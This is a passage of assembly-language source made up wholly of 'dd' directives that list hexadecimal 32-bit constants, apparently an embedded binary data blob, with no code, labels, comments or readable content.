0F2C0949Ch, 4611B51Ah, 0FC8622FDh, 222E4FAh dd 648D4E68h, 241AFAEh, 15602040h, 8C45B0A0h, 3C900782h dd 39A6F9B0h, 6ED50BBEh, 84823250h, 0A8AB1AADh, 29659002h dd 4C79FE00h, 5CD931DDh, 32F53A10h, 1FC2354h, 5A34044h dd 0B00828E6h, 0B4043C0h, 561505D9h, 0BD58282Ch, 10567C41h dd 5C6C9458h, 68049E46h, 0B0F20E65h, 0CD1A3490h, 41587875h dd 0CB0805E4h, 344BA203h, 27FCDEDh, 0CC1AD220h, 48E0DACAh dd 3AE2F106h, 4910C4A0h, 0D53EEF00h, 0DA702928h, 42781Bh dd 0A57662ACh, 22C285B6h, 80A33C3Bh, 7DD5EBB7h, 0E2BC56Ch dd 94536F9Ch, 1FBB8FFFh, 0B0F226E0h, 61FB157Ch, 3592F098h dd 5107E67Ch, 0B92C2523h, 5B24D240h, 0FD96008Eh, 38B38FF2h dd 0B674E73Ah, 78216260h, 9E9516h, 77AF1809h, 65912256h dd 2CA0FD0Ch, 1026026h, 6D23BBF7h, 8E53E6B3h, 0DA0FC68h dd 48A02046h, 38BE2010h, 28B0C41Eh, 0ABCF0CA0h, 0D019216Eh dd 645F020h, 7B2D2408h, 0B20741D6h, 6711F8FEh, 4F275FD1h dd 0BE0831DFh, 0E4D61421h, 0A000AF71h, 7295FE4Bh, 41E290CEh dd 8088A0A2h, 52ABD10Ch, 1FF0705Ch, 888E63h, 753670F1h dd 0CA3D840Ch, 0D8B61CC1h, 8BE9A580h, 38A9527h, 76585BFh dd 2C8924Dh, 4200677Eh, 530526CCh, 0EA5AA808h, 3CFA077Bh dd 0A066581Bh, 0B573EB84h, 1E9F2E00h, 0DE1A83A2h, 0A197000Ah dd 0A0987220h, 0EDF0F65Ch, 0F129AB00h, 0E3486C95h, 0DB30041h dd 0AF0181BBh, 1CFC67E4h, 85351B1Fh, 0B27EC803h, 1DC7F8B1h dd 4A0F017Ah, 0C650A4B3h, 0F2189BDEh, 7AE7E041h, 334C00D7h dd 0ACA17DFh, 0A41C9724h, 2E0CD364h, 71A49A0h, 7D201E96h dd 0BD76037Bh, 70A193Bh, 0D2BB576Ch, 92F202h, 0BE07A7BFh dd 9A701300h, 0B2204CAFh, 0DF61063Eh, 814B3FFEh, 0FC344700h dd 8CDD9ED4h, 366D0113h, 5C441A0Eh, 0E2F8D31Dh, 33000410h dd 0CC4C1EB6h, 0D37AC5h, 504742F5h, 0C959AD40h, 121CA4Ch dd 87DC6B0Dh, 3FE4E6C7h, 49310698h, 40E9A4DEh, 90FA3Eh dd 2DB24B08h, 0F94323h, 36FD9C1Fh, 0C80E4ACDh, 18D7C13Ch dd 0B210B672h, 6D0002Ch, 159E558Fh, 4B676A1Eh, 97809C18h dd 649D937Dh, 80381053h, 8B180D62h, 5AB12F60h, 37DB790Fh dd 0C110B067h, 0F035881Dh, 0FE7380C5h, 74F47600h, 0C37E127Ah dd 0D2310032h, 20CA2FE5h, 52016A11h, 0C734DD7Fh, 59820EA4h dd 0EE4AE649h, 0CF947083h, 33E97811h, 40EC731Fh, 21E342F6h dd 0CB3CEB4Dh, 25B08190h, 0CFBE431Eh, 9FBC9180h, 0B623D3ECh dd 5B617160h, 0EF6AB83h, 4BB22910h, 0B03003A0h, 1700D3E9h dd 5DDD33A8h, 0E44708h, 487B4E63h, 85219EEFh, 0ABB1F000h dd 0A57C52AEh, 0BBFD014Fh, 869DEC36h, 2FF6F03Eh, 0DD25671Eh dd 220C9140h, 0E53BDA3h, 6E3AE0FDh, 5700558Fh, 0AAB31EC5h dd 3A4403Ch, 3E19D3F7h, 40CC97DEh, 3618181Bh, 0ACB3182Dh dd 86307A14h, 1D8A1024h, 41B33963h, 41E390A2h, 0B0571100h dd 67A210E5h, 7AB71C7Bh, 5530BABFh, 0E4186021h, 0F5DD7C07h dd 99E00FB9h, 33EC3D1h, 0B6B0BFBDh, 881D4ECEh, 1479C56h dd 0D6C11BEFh, 18BA85DEh, 5CB2CA88h, 0D0F7E102h, 1F43CBh dd 34B73C10h, 91F4C4EAh, 0C1B91300h, 0EBECC2Eh, 84E50046h dd 554FFE35h, 0ED002B24h, 7EAF43A0h, 1817BA97h, 1868C7EAh dd 92072F40h, 1550B0A8h, 1836E4C2h, 438408DCh, 0D96C1002h dd 20625E88h, 106A11D0h, 40057A77h, 0B510ECB1h, 240612A0h dd 0A045FB8Eh, 0F7756E07h, 0AFA1E059h, 2083EC03h, 0AD1DAEACh dd 69E4EBF8h, 0AA7951CEh, 13001C26h, 8E351468h, 3C5F789Ah dd 853C50F0h, 3492200Eh, 0EE9BA043h, 2AFC501Eh, 81DEF3A8h dd 770C351Eh, 1E942198h, 5624926h, 0C1FB4169h, 0B96D6848h dd 0A4DA0C79h, 5465C88Ch, 45AC64h, 0E210917h, 0FCBBAD14h dd 0E32947EAh, 0A10E9858h, 1B670892h, 0F8E0B955h, 79C22A2Dh dd 806BE1AEh, 3260A318h, 9AC0000Ah, 4D0EEF12h, 7F00D99Eh dd 870C82AEh, 0A1A02CEh, 0B29DEB1Bh, 83C3D214h, 0B955C818h dd 0F508A79h, 36B2733Eh, 2C7FE640h, 40013AB1h, 0FC5201FFh dd 59D08028h, 6E1D0136h, 5655A12Ah, 6F4081E8h, 3EED4C06h dd 6704B88Fh, 995FA000h, 0F12891B4h, 0B00344Fh, 0DDF23FA2h dd 7170D8h, 0ACFAE974h dd 0E0A720C0h, 6744E403h, 933B8E0Dh, 2B5017E8h, 49BB0085h dd 0E7F4863Ch, 0A11D340Fh, 83048F78h, 0E0D4F5Bh, 93BFE261h dd 0E0B22AC0h, 0CB01C098h, 9A94D705h, 0F3E135ACh, 9754FFCh dd 0DB59F57Dh, 68DA2701h, 0E0B45323h, 466903A0h, 0C9F32800h dd 786D29CEh, 3AAFEE6h, 65F5444Fh, 69A0241Fh, 4179997Bh dd 28D7C714h, 672060ACh, 1879D8CBh, 59A292B0h, 0C700F124h dd 0DE54B548h, 0C678C65h, 57215EF3h, 4ADFA10h, 0CF4F1BD6h dd 0F2A01008h, 0C1002252h, 5D4720A2h, 7C27CDD8h, 4F660090h dd 48DAE471h, 79629FCCh, 24304C29h, 10752202h, 0B88994D2h dd 0BE44DC08h, 87DB44D9h, 84847744h, 0F0965622h, 7B7F88DEh dd 8036D088h, 5300EB8Eh, 0FC6B9552h, 0EABEF2CBh, 329D004Ah dd 0E517C2E9h, 25007F8Eh, 0B784E6ACh, 3CC73AFh, 540BAA1Fh dd 9880150Dh, 0DF006C11h, 0AD2D3D21h, 0A0954Ah, 72D1A28Fh dd 6C542E80h, 0D7E8F500h, 0F8B0A39Fh, 82950017h, 0B1E64344h dd 0D4ED47A8h, 8A399933h, 883E830Eh, 0E87BB55Dh, 3B70836h dd 676EFE84h, 1100A6EDh, 0A8F705D4h, 12406DA5h, 402474B9h dd 0BE93CC38h, 34012E68h, 1C9112A9h, 0AC20433Dh, 0B5C900CBh dd 2A90059Eh, 0E30039E0h, 17FE38CDh, 5828F6B0h, 0E20092BDh dd 452BF47h, 54070F53h, 7D4468E4h, 202276B0h, 0F82F0C99h dd 94F037BAh, 0E3198500h, 0D06F14BBh, 67050132h, 5E6228C9h dd 8EE6E00Bh, 0C73E9300h, 975A20FEh, 2E1C71EDh, 6AB5FDh dd 9282887Bh, 1D6096B9h, 8E625EC9h, 67280250h, 344A5615h dd 6BD7C4A0h, 3E00E3B0h, 1AAF5AEFh, 0E63642Eh, 0DC108D1Eh dd 827BFA20h, 6C07B80Eh, 0F5EC22Fh, 69A04697h, 36CD92h dd 0CF0C4A19h, 50564CEDh, 4284E79h, 0D73AC072h, 2FA00013h dd 28DAE1C1h, 233A0098h, 4D119F1h, 2D00AA3Fh, 15976B33h dd 4D5E69h, 6613ECF5h, 24DA9AF6h, 0BE180700h, 37253263h dd 0E1B739F8h, 82FC1D1Fh, 0AFF2E853h, 0F4A0A441h, 270041E2h dd 0E46A6C2Eh, 1D59DA67h, 0AE5BE35Fh, 0FCCF009Dh, 534A7B97h dd 89313700h, 0FAB9A9EDh, 35796Eh, 0BBA8DF77h, 2604B14Eh dd 0ECAEE500h, 0B3508DC2h, 0D2E3004Ch, 28D6F5E2h, 5A125FC5h dd 7C1EE09Bh, 54C9A947h, 0F7B8E160h, 33EF899h, 43E87802h dd 0A8D49EAh, 8C74D0h, 0A286DE33h, 7E004A13h, 0CBC16115h dd 1C0AC3ECh, 406509ACh, 9A99954Bh, 2500A14Ah, 4CFAD7EDh dd 1A9177Bh, 0C6662174h, 35E03AD8h, 8848FE24h, 96004A58h dd 8FAF84D0h, 0EACB2CBCh, 93B90077h, 0FF64262Bh, 290E447Ah dd 20C66588h, 0C5D78261h, 0CB720143h, 170297ACh, 7589E0FDh dd 654BD300h, 0CFC624D1h, 479218C3h, 0A70ED893h, 0EF01CAF8h dd 18464FBEh, 34F07B6Dh, 2A90099h, 0A6C9F875h, 78009047h dd 8AE041Ch, 54F631h, 14ECF1F7h, 0A862604Dh, 30C6ED00h dd 9D1990E9h, 0F2773Ch, 5D5313ABh, 0D7D018AFh, 7369D313h dd 0FA2F0700h, 0FA859D0Dh, 0FD2D014Fh, 8D22844h, 439C402Ch dd 0FE4CC68Fh, 73A70F14h, 9AF4C106h, 70C0FC11h, 2D770076h dd 7AF81C0Eh, 0CE8DD0Fh, 798B2100h, 2BCFA1E8h, 6E900061h dd 8D5D438Fh, 667ECCF2h, 85A43000h, 8042EB50h, 6B0E80FCh dd 15D0D31Eh, 72517CC3h, 1DC8A83Eh, 4C6900B2h, 0F90E3D97h dd 790021A5h, 0F3323706h, 2A9F42h, 958DD676h, 0E1914915h dd 0BDD15F04h, 8C018A6h, 7D0A20h, 60AE1EF8h, 0E62FE805h dd 9DE8C748h, 0FC00A7ACh, 4CAD42F2h, 0EF5426E7h, 0E0EE0040h dd 0F751989Ah, 3802B890h, 2B79808Eh, 0EA1C4018h, 0A7F61D86h dd 0B3E3C10Eh, 6466B267h, 38108348h, 340F1671h, 768063F2h dd 0F13C914Fh, 1C5BA00h, 9252B40Ch, 3598008Ah, 0D6552310h dd 2207645Eh, 0AA746207h, 7DB0E630h, 0B81B7F3Eh, 0B7101h dd 0EE03F250h, 62FC5B83h, 66D82900h, 4A2BDC58h, 0B9724830h dd 0F7E87600h, 0E99624D4h, 0A37B5700h, 7DFD29B6h, 0C67800EDh dd 0AD984DFh, 0CBE0E7F2h, 1419400h, 0BDB3A2B6h, 9B071D1Eh dd 7391C1C2h, 3081DB9Fh, 0AE024158h, 94B07178h, 3199C0FCh dd 0D93A008Dh, 0BBF254C3h, 7C035C50h, 761FD0FAh, 0C26FD0AAh dd 6B90981h, 0B900A5FCh, 0C7741560h, 0DE00ADE0h, 59228DA7h dd 23FEFBh, 94BA7BEEh, 7198096h, 0C6F1CF01h, 2DE6C9D3h dd 0E901DCh, 0A3812C95h, 904577Bh, 0AE0A3E00h, 27C6AA4Fh dd 99AB07CCh, 0B0483592h, 1AA44756h, 0EC16047Fh, 1400C131h dd 2BE2B0EBh, 556C00C4h, 185EF692h, 0A03FD07h, 82CA4F88h dd 4B8A8DDh, 9D6600BDh, 0F1B17CE7h, 0A6004DA5h, 0F7C50F72h dd 405C5158h, 820F12F3h, 61D4F55Fh, 0D23674C8h, 0BCEEF0h dd 3B66D503h, 49536AD9h, 91E24D00h, 0A87A1EDBh, 0F77600E3h dd 8CC1B130h, 88023506h, 595C45ABh, 8464401Bh, 509E4DC3h dd 7B699200h, 4750FC1Fh, 67520C12h, 97C03C00h, 0F4CCCC1h dd 0FB4A418Eh, 8579BAE0h, 0B6EC3BC3h, 0DCAF0800h, 73AA1B7Ch dd 0E9510057h, 59D9C90Dh, 0D7F25563h, 0DBC3FF00h, 46A491EDh dd 78E098B8h, 0B23000E2h, 49EFE443h, 2000CDA0h, 8D1DD848h dd 3B946B3h, 9E5B03F4h, 5AE08940h, 0E313F634h, 0D8076961h dd 0BCF07066h, 0C24159h, 0E75816ECh, 0AF1E6ADAh, 2B13EF00h dd 267F6881h, 0C198007Ah, 7180EADEh, 0D74C8C99h, 0C63031Fh dd 87EE12FDh, 0FCDF1F60h, 13DE2E5h, 0DE9AF5ACh, 0E03505A1h dd 6D14BA04h, 0D874FBh, 0B528C5E0h, 1DD27CAh, 0CE45DCB3h dd 3021D142h, 0DF1F2D35h, 5101EB68h, 4EDB1106h, 6013FDE4h dd 0EE4B110Ah, 2E00BD60h, 20E85CB1h, 5F165DAh, 92FC5703h dd 80C00EA8h, 0D6109E0h, 0A008C4Eh, 242107BAh, 0EC7B8644h dd 0F2C80C71h, 0B3DC3D9Fh, 22911613h, 41192C00h, 9714A3h dd 1BB93A17h, 86657C15h, 22C0AF50h, 0FDF32D10h, 0F9F4C900h dd 5733AD4h, 46053072h, 0DD0B29D1h, 7574B0C1h, 0BA2BF4h dd 8547E945h, 1DE562F9h, 0D9816100h, 25CDA372h, 0C8BABFh dd 0F75FB830h, 38D20806h, 0B29AF100h, 4FD68C9h, 46ED0065h dd 39AD1DA3h, 9E007334h, 0AE803EC3h, 0EA7EA896h, 32C0794h dd 0F6CF6BCCh, 0EC02A41Dh, 470871CEh, 0A22BC025h, 24731C29h dd 9B19800Dh, 53C88879h, 0D4AE6313h, 262AB000h, 790A4FC6h dd 55BE007Fh, 7857C51Dh, 651C229Bh, 0E6C0DE6Ch, 66F8682Ch dd 76C8928Bh, 3E80001Ch, 0B8225270h, 87009FF1h, 0C21D7496h dd 0E6CF1698h, 47A105F0h, 384EF2h, 3C4B799h, 0FA311EE8h dd 0A4538043h, 7DF4EEE6h, 35663DE9h, 927E5580h, 6A774AAh dd 0F0C7AF00h, 0CB2154ECh, 814A39E6h, 64CC7B00h, 0C6FFF5EAh dd 6D88AE00h, 0D7DD0241h, 812400E7h, 0DA9315Dh, 0EB003311h dd 78F36336h, 9D43B96h, 23BC64CFh, 225C2481h, 9A9CD052h dd 8E486A3Fh, 0FC1204F6h, 5E4E7C07h, 0FAC05BD0h, 0D1FCB8h dd 0E1BA40F0h, 8018582Fh, 894FAD0Bh, 4B6CA032h, 0E5201B8h dd 5DF8E219h, 5F7C4A81h, 0A1E0E71Dh, 0D30F279Ch, 60BCFAE8h dd 46A31E61h, 40670045h, 35B060D2h, 1700FE90h, 4E37E5BEh dd 0B0D0EC10h, 6AA10068h, 65DCFA6h, 37D576Eh, 4D827B00h dd 0C95067CDh, 890D60D8h, 8F044046h, 0FE5B6D2Eh, 38209802h dd 4894C6AFh, 0CA06DADDh, 0A85F7E45h, 89C58C01h, 17BB739Fh dd 0AA832FEDh, 0A5E5AAC0h, 3C9592A0h, 0CEAC9E01h, 616FDFD8h dd 0E7300C38h, 94D1AA51h dd 751CCF00h, 731599A8h, 49A500DAh, 0FB1E8DB7h, 667284D2h dd 0DF1936EAh, 1CB18B87h, 9367D8h, 48223F44h, 535C9E17h dd 8F817F04h, 80D292DBh, 0BC88EBB2h, 0FEBA880h, 39C8244Fh dd 95033BD4h, 3828F802h, 0E3B04BE3h, 96586C31h, 0A19D0041h dd 7CC88CBDh, 78DC60AEh, 0D7EF6E46h, 0BE417D3Eh, 1F3460B4h dd 0F4438B84h, 59201D2h, 2F14E080h, 0DBAA7010h, 3200D17Dh dd 0C217AE88h, 28A3B4h, 1B6F29E3h, 6D0D8139h, 4950E100h dd 22CCABB1h, 53410E96h, 9C4E5A5h, 80A4E020h, 605E9914h dd 0C7D90380h, 9018124Bh, 0AB66E0h, 0BA26A4BBh, 0FDC21C4Ch dd 0DBE2C60Ch, 52EAB80Ah, 0D700B83Dh, 0C58F28E5h, 0A0B8BC3h dd 0AF6E58h, 0ED83C894h, 6B3901DAh, 643FA285h, 0F7B850D6h dd 0CA30FF3Ah, 6332821h, 0B79B007Ah, 0DE364CD3h, 7126466Fh dd 16805C31h, 8E2BF45Ch, 3B2DFC87h, 0B1B88098h, 1CA6AAD0h dd 0C04AE105h, 1D310A39h, 30013C6Eh, 268663C6h, 0C0BEC769h dd 5B088000h, 270750F7h, 0A701B0FEh, 6C3765CEh, 0B7E48228h dd 8C1D18ECh, 1022A94Eh, 13E50F00h, 95AABEEFh, 0D75500D5h dd 5DB32C66h, 740C902Fh, 468E7A0Ah, 18200ED2h, 0E40029E9h dd 108A8BAAh, 3705A48h, 0A1959794h, 3F3AD0A5h, 8E6500E9h dd 0A30C3361h, 76006C8Bh, 17D06FF1h, 84D9EDh, 0E61A7C55h dd 148BFA05h, 0A141DCA8h, 0D6EBBF05h, 94606851h, 50DB3C5h dd 6F5C1FBCh, 0DB0CA0ABh, 5500F2F6h, 0C9A5035Ah, 1A8D1Eh dd 0B045843Dh, 68669DA4h, 8927303h, 0C0DD0D4Eh, 1448977h dd 78FBEBCAh, 2C10543Eh, 88651FD0h, 2EF3B900h, 48AEBC2Bh dd 0C8052015h, 306EAAA9h, 9FB91F48h, 48621700h, 0B7F2A304h dd 24360235h, 5EEF551Dh, 27C03040h, 0A3919802h, 0E3A46A26h dd 8D85C1DEh, 16CED5F4h, 20FFEBDDh, 590A6584h, 7BF33600h dd 0BD0304E8h, 0D23501EEh, 29895E55h, 31B84049h, 0C377109Ah dd 0C948DFB0h, 3EDD0FFEh, 0C2D82EFFh, 6A17BD3Dh, 0C538B848h dd 0CD921368h, 5D8935Ah, 82C849D3h, 4B00EFB3h, 4CA15E9Ch dd 554DE8h, 0D58E5C93h, 0AF96C7FEh, 99010DFAh, 0FC237274h dd 0EC70C1E6h, 67F00022h, 718EF18Bh, 0AC4DFFCEh, 0A0D80104h dd 8F4F1F68h, 0BCB9D8h, 0A8D1F116h, 6AE4F9C5h, 0F7B88A0Eh dd 3B172357h, 0D4C1B86Fh, 0DC732Ch, 0FE684CF9h, 543DBF9Dh dd 800CEC38h, 0F211F99h, 3AA1E167h, 4100F074h, 97DD22DFh dd 0AA0799EDh, 7508C8D3h, 378123D1h, 681824h, 3B61F03Ah dd 2888A10Eh, 0D57A8BF4h, 7E0C3001h, 19D2ACEDh, 1951AD8h dd 0CC7243BDh, 0EEB60799h, 0E821D089h, 34D8D01Dh, 481D589Ch dd 9D02F3B7h, 0E0B4F760h, 19DB1Ch, 0E9C3EA85h, 6BC454Ah dd 1DB5D900h, 3E21485Eh, 4F3F008Bh, 701A1273h, 0FA0072E9h dd 929EAF08h, 0FDDE2F6h, 7F6B529Ch, 0F8FEB1C2h, 698BDDC0h dd 0B6028302h, 402DC7EDh, 739A0A9Ch, 0F4D14C27h, 0EACE5C00h dd 0FED9023Fh, 538FA81Fh, 0DC3A3242h, 26704860h, 7B070742h dd 1089DF7Eh, 0CDDD3454h, 0AE73D000h, 4BA53979h, 16CC1395h dd 143C9886h, 7FB8EF01h, 0F62A8C7Eh, 97D874h, 0A003BB68h dd 74590BEAh, 24845Ch, 0A530C36Ah, 0C6BA6h, 42F03F58h dd 0F17D4BC8h, 717BBC92h, 0AA345D75h, 62E810FFh, 19F9007Ah dd 0A43A2897h, 0A00D3D2h, 91693CA9h, 73889EAh, 9A95F6B0h dd 0F32212DDh, 4DE680E0h, 0B28C4C00h, 2FB3B2Ah, 0CC493F1Dh dd 7F52F780h, 2439ECCEh, 0D30020BAh, 2D4413CAh, 0E49ECDB2h dd 68420637h, 10CE7356h, 1CF88F2Eh, 0E7873182h, 7ACCA2CAh dd 0BF116084h, 489771FBh, 0C10284AFh, 0DEDB6B2Ch, 87B3A6C1h dd 22CFEC22h, 678C8AF0h, 0FFEA01BDh, 785BAF19h, 6F7C3415h dd 2812E724h, 7611D580h, 1C95CD20h, 2AD9D2C3h, 0C4C8A994h dd 77D8FFCh, 0E44EB0B3h, 0E940CE10h, 24CC9A73h, 66C0A000h dd 83D308B5h, 82160197h, 296FE85h, 0AE98895Eh, 0C330803Fh dd 39DA6F8Dh, 0A2804C59h, 84505D95h, 9A129F3Ch, 52000B4Ah dd 9EC1A777h, 5FB30022h, 0E0EA4278h, 0D80066F6h, 5381876h dd 0C09D9031h, 67C725C1h, 0ED018AE4h, 0AC773A1Eh, 6AC47A80h dd 6EDE000Ch, 0EA509E68h, 4C05B44Ah, 0CFE9474Bh, 6048DE82h dd 939860h, 0F71E62BEh, 706DBA2Eh, 19E40700h, 5D4A6BBCh dd 0B9A93E81h, 0D3DB3F00h, 633576EDh, 317827h, 71411BE0h dd 736700B5h, 6AE76EFEh, 0BA3FEE20h, 77858084h, 404B523Dh dd 6DF414B9h, 4C12C4F9h, 0E058871Fh, 27156768h, 0CDED4013h dd 9472F000h, 0F202128Fh, 7B4977F0h, 7E4F16ADh, 63C0039h dd 4DD5EF26h, 73511A00h, 9E3B5D3Ah, 785760BCh, 86DCB120h dd 6EA5801h, 0AEEE26F8h, 44FF5030h, 11133D90h, 3E074F4Bh dd 7EA0AC5Ah, 0A143B3h, 0ED55AB63h, 85F3DF6Ch, 0E3DA6000h dd 91AEB15Dh, 82560052h, 0B615A230h, 0FE005A4Fh, 0B3429F7Fh dd 0C6FB8Fh, 822AF332h, 0C5F0CC6Bh, 34C88D00h, 0A8C42709h dd 24157BE0h, 0C3A35h, 0CF18A3B6h, 9B17FD2Dh, 880003C5h dd 0CB3F5614h, 4D653F51h, 0DD116D80h, 6C99CDE5h, 0F0C4758h dd 242ADFh, 9AB92244h, 0FFDE0931h, 0CC810B23h, 0DC0CC9EBh dd 0DC0006C4h, 2FFAF120h, 1D9C11C2h, 52794Ch, 2633188Ch dd 0BD00A395h, 0A8D6F915h, 347132h, 0D9F67DCFh, 0FC1D394Dh dd 48B4C405h, 68C082F7h, 16BBACh, 90122340h, 0EEABA06Eh dd 0E75BED07h, 6CB0DB5Fh, 58D083h, 337F5E77h, 0B519BD2Dh dd 6F3C0EE2h, 0CB7B8131h, 0C542B7B4h, 11098C3h, 0DAA616ECh dd 0F0FCC47Ch, 43B83264h, 1CBBC74Ch, 524463D3h, 0D4974F34h dd 93E300D9h, 0EEF5D706h, 24830084h, 57C2EC09h, 4101D087h dd 4E343A10h, 5FC8048Fh, 6B0B05FCh, 638A3Bh, 93D2498Dh dd 11C06EA3h, 0B2602BFFh, 0D3317DC1h, 0E6570018h, 0B78B390Fh dd 66C68400h, 0AADAD038h, 0B1B93A45h, 832D6CC9h, 0F171490h dd 480E08F4h, 0A03AA686h, 0ED812C46h, 41681DFEh, 0B730F949h dd 4EA467C8h, 709D4724h, 3D98C701h, 22D4AFE0h, 3B697337h dd 150734FBh, 300616D8h, 9362B5F7h, 0CA1D7400h, 0E22672ECh dd 0F0B21764h, 9C88000Dh, 0C8FD41BDh, 179B5700h, 3807308Eh dd 0BC7D9Dh, 0E7FC773Ch, 0A3D8E4AAh, 321C2909h, 9DE40049h dd 53CD1CEh, 1DB3FEE9h, 0D253C099h, 5FE23EE3h, 2E85AA03h dd 825D3BFDh, 0DBC86015h, 48DF7027h, 0FC034064h, 7DA8ECBCh dd 0BBF51100h, 19D7C46Fh, 0EC9AEEB4h, 5AC800E5h, 6DF6207Ch dd 0A00206ABh, 0EF080E13h, 85A3403Ah, 17EEF6BBh, 802391D9h dd 6E45CF04h, 2E21FC20h, 24EA6272h, 556800F3h, 0CCF73296h dd 75E6E100h, 0A319B40h, 6DA900FDh, 3E3BB285h, 43014E1Fh dd 11D19213h, 8220816Ch, 0A5363B28h, 2917216h, 790E24C8h dd 9B4E638h, 0D716D1CCh, 6197C087h, 3CB37374h, 5CD92EB4h dd 80F94C60h, 0A18007Bh, 74E28781h, 0A50032A1h, 0BDED1528h dd 0AB6E46h, 4AE7228Ch, 37CCA033h, 9600B6ECh, 2774F017h dd 2E2213Bh, 2EEBEA0Eh, 98C0E9F5h, 700338Ch, 0DCDEDD83h dd 14AB385h, 93D17D29h, 2AD49F8Eh, 4356F400h, 0C637DBh dd 140CE6CAh, 0F7DE4B19h, 907E8503h, 0E0824E0Dh, 0E10E0AC0h dd 0E6F45B71h, 4755008Ah, 0FFA773B7h, 0C500361Eh, 0EF46E733h dd 5E684B87h, 0C05C1DBCh, 0D212D80h, 0F1300CE0h, 0F9B886DCh dd 37450FE7h, 0EAC09108h dd 3903DA0Eh, 34432A0Fh, 525F8970h, 6F0B03BCh, 0F2918FAFh dd 824C5580h, 0DAA5F500h, 6D0C9EE5h, 0D48B0231h, 96BD05D1h dd 0BA006CF8h, 53D56217h, 0C1ABE6CCh, 0C5618390h, 26C360A7h dd 65DDC31Fh, 802660Ch, 69910757h, 5E82ABC6h, 696A28Eh dd 21011797h, 25488B17h, 0D8A51440h, 5727CF1h, 75C8E288h dd 1020D68Ah, 0A4A7E107h, 4B8066F2h, 3050278h, 0C64982C0h dd 26A310D2h, 902D491Fh, 1F298A03h, 0B690114h, 867C72DDh dd 503CCF7Ah, 8A320652h, 1392DFFh, 0E6011279h, 0E52A635Dh dd 237D0F5h, 0A2C06D07h, 0D8D1578Ch, 0ACD8B6EAh, 2FAA002Bh dd 9F29AE3Ch, 280041A6h, 6382147Ah, 0E0FD49h, 0C6275CC2h dd 0CDC4E4Ch, 32E74400h, 3BCDA2D8h, 0FE7E002Fh, 8420B87Ch dd 0F0A8BF95h, 0EF025FEAh, 53F40881h, 0C875E314h, 3920B91Ah dd 0F7318F2Ch, 60DF5118h, 7930AEACh, 58FAC06Eh, 24383089h dd 0C7A3A620h, 20D4EB08h, 0DDCD8157h, 80555173h, 0C27C7711h dd 0A060EFDFh, 0CC50D2A0h, 1215108h, 76C27A00h, 7E28BEFCh dd 88146003h, 0FB809E34h, 37AEEA80h, 0C768E78Fh, 18C406BEh dd 9821073Bh, 45D982B5h, 361516EBh, 2F00328h, 830EDE0h dd 164421B8h, 2D721C80h, 0F9348183h, 0C8D954D3h, 420767D2h dd 0B4147166h, 0A28F7B93h, 74D88138h, 0C0F856D0h, 3249006Ch dd 0F1721EE2h, 0FB1C0416h, 0ABDD0A3Dh, 80F54A4Bh, 0A94D1B54h dd 4807073Fh, 4C748217h, 160F9D10h, 0C0E841D4h, 8FE12B3Dh dd 0C0D3E83Eh, 0D41EA321h, 9C7CF2FFh, 2759B600h, 7CEE7795h dd 981C03E5h, 7193A84Eh, 972310Fh, 0DB837D16h, 0A6193EA7h dd 28BD1C18h, 2867BA42h, 3951926Fh, 75733340h, 0B3016374h dd 1877059Ah, 29803A49h, 1247E45Fh, 0AC5CB0A7h, 3D096FBBh dd 0EBFF2073h, 0B6149847h, 872E163Fh, 0BA0606B8h, 0DD1F919Bh dd 6718181Dh, 10B311h, 16E7C23h, 8C598833h, 348E0A07h dd 8F739102h, 0E8B10087h, 50B7D0Fh, 700E4BEDh, 8C365DCDh dd 38E21AFh, 0AB807D18h, 0B2F0F82Ah, 1700E0BFh, 0E2099E22h dd 6F4070Dh, 0A7A890E3h, 86308163h, 0FCCD414Eh, 0CC3FAEEh dd 80881F0Dh, 4000CF19h, 0C9F791DDh, 2E1489h, 2D46BF78h dd 83717C37h, 771A151Ah, 1D980450h, 0F470960h, 18A8A723h dd 0E0FC2198h, 0D2D475Ch, 70960767h, 0F409F0h, 0A50A62E2h dd 4DAC5F73h, 0E6267C00h, 6543CC60h, 30B5E854h, 9264C6E1h dd 4937BD82h, 22A0414Ah, 7593C7Dh, 0ECA40C90h, 0C7622175h dd 309331FBh, 4D608590h, 0A25FBFE1h, 5576E8BCh, 2CF0E4B7h dd 51596765h, 0C33280C6h, 0C13905B4h, 26B930FCh, 1CE11695h dd 800BBCC8h, 31BF1A28h, 0B2ECF7DBh, 0BDA8F20Ch, 61955199h dd 0BAA571D7h, 0D05D212Ah, 0F02C84FFh, 4A02A5ADh, 40A0A13Bh dd 0E105411h, 90A8D02Dh, 0B7295280h, 48C8AA4Dh, 0B9FD8h dd 97D63D85h, 7A01A3B0h, 0D44FAF67h, 0C870E26Bh, 0E56400A0h dd 859544CDh, 0BC04363Fh, 3A18EA7Ch, 209B8092h, 94714AFFh dd 82BB2100h, 0BA23B93Fh, 32DB888h, 0E54858F1h, 89F4C87Eh dd 0A27C3064h, 0E76BB700h, 0DCC42A0Ah, 0F5C31E65h, 0D81F0060h dd 0DD61242Dh, 0B4278324h, 0B510804Fh, 0A0A507h, 0D782AF0h dd 0B8E8DF16h, 4300C698h, 1A6A3C64h, 0A4EB83E0h, 0C4D518E8h dd 7538302Dh, 67D01106h, 3421AA09h, 4050A466h, 497C2268h dd 0E6EC9E30h, 0C90D5Ch, 0CA5F31CDh, 11158Bh, 748F91DAh dd 5B8166E2h, 2AC93B00h, 0ED1C4869h, 9C803CD1h, 6D156100h dd 51608E38h, 700CCA78h, 69133FB3h, 4E0F078Dh, 0A01A68F3h dd 0E686698Ah, 0E1CF7403h, 85D51F2Ah, 0F3E7043Eh, 100CEF09h dd 18B73CB0h, 40F7004Dh, 0E85F43C5h, 5A01DACDh, 0D4392762h dd 0C3DCB02Ch, 4A7A0C15h, 6429436Fh, 2EC640h, 72118E17h dd 5DC13406h, 80D69A3Bh, 0DA90C7C3h, 16ABC48h, 0B1661368h dd 0D4D0355Bh, 951EFEA1h, 0A6C0AE21h, 2F6BEFE9h, 7CCE1D8Eh dd 92B740AFh, 78642D6Ch, 0F7DC3A00h, 0EDC9D354h, 0E97C43h dd 0EB60ECB4h, 0E8B1E20h, 0C732C600h, 4766DCB0h, 0D7145C4Eh dd 0D3F3C300h, 0E993CAC4h, 0BB6FB238h, 30B780F5h, 0F1C9DF7Dh dd 0CB920105h, 0E69D6C0Eh, 134DCC80h, 0D1025773h, 0ABA7E3D4h dd 3E1CE09Bh, 174301F2h, 9972338Ch, 7B41E13Dh, 17E3BA0h dd 2EDD7A24h, 70CA9E8Dh, 0BA06CBD0h, 2AC223CEh, 0E7E326D0h dd 97180072h, 3214DF26h, 893D2703h, 90F4F898h, 170C1021h dd 0F3CAB5h, 6A5CFE2Bh, 0FA1E77BBh, 0F20054ECh, 